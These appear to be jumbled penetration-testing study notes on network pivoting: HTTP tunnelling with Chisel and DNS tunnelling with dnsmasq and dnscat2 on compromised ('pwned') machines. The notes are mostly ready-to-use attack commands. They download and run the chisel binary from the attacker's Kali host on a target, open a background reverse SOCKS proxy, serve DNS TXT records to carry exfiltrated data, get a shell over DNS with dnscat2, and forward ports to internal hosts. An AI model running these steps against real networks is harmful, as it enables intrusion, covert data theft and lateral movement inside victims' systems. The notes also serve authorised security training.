HTTP Tunneling Fundamentals
sudo apt install chisel, then copy /usr/bin/chisel into /var/www/html and start apache to make the file available (or just use python???)sudo tcpdump -nvvvXi tun0 tcp port {port}chisel server --port {port} --reverse on kali to run the serverwget {kali_ip}/chisel -O /tmp/chisel && chmod +x /tmp/chisel for running the Chisel client on the linux target
chisel client {kali_IP}:{kali_port} R:socks > /dev/null 2>&1 &ssh -o Proxycommand='ncat --proxy-type socks5 --proxy 127.0.0.1:{port_given_by_chisel_(1080)} %h %p' {user}@{internal_IP_1hop}
ncat on kali firstupload chisel.exe C:\\Users\\{user}\\chisel.exeDNS Tunneling Fundamentals
sudo dnsmasq -C dnsmasq.conf -d on the pwned machine that other pwned machines refer to for dns info
dnsmasq.conf needs to have no-resolv, no-hosts, auth-zone=feline.corp, and auth-server=feline.corp all on newlinesresolvectl status
nslookup -type=txt www.feline.corp, as the 2nd pwned machine will look to the 1st for name records and return exfiltrated datasudo tcpdump -i {network interface (like ens192)} udp port 53nslookup garbage.{owned_domain} on pwned machine to testdnsmasq.conf with:
txt-record=www.{domain}, {arbitrary data here}sudo dnsmasq.conf -C dnsmasq.conf -d)DNS Tunneling with dnscat2
dnscat2 runs on an authoritative name server for a domain on a pwned nameserver, queried by pwned machinesdnscat2-server {domain} to run, making it listen on all interfaces on udp port 53
~/dns_tunneling/dnsmasq.confdnscat {domain} to get a shellwindow -i 1 to be able to run commands in the windowlisten command to do a local port forwardlisten 127.0.0.1:{inbound_port} {internal_IP}:{desired_port}
inbound_port on the loopback interface (e.g. only localhost)0.0.0.0nmap -p {inbound_port} localhost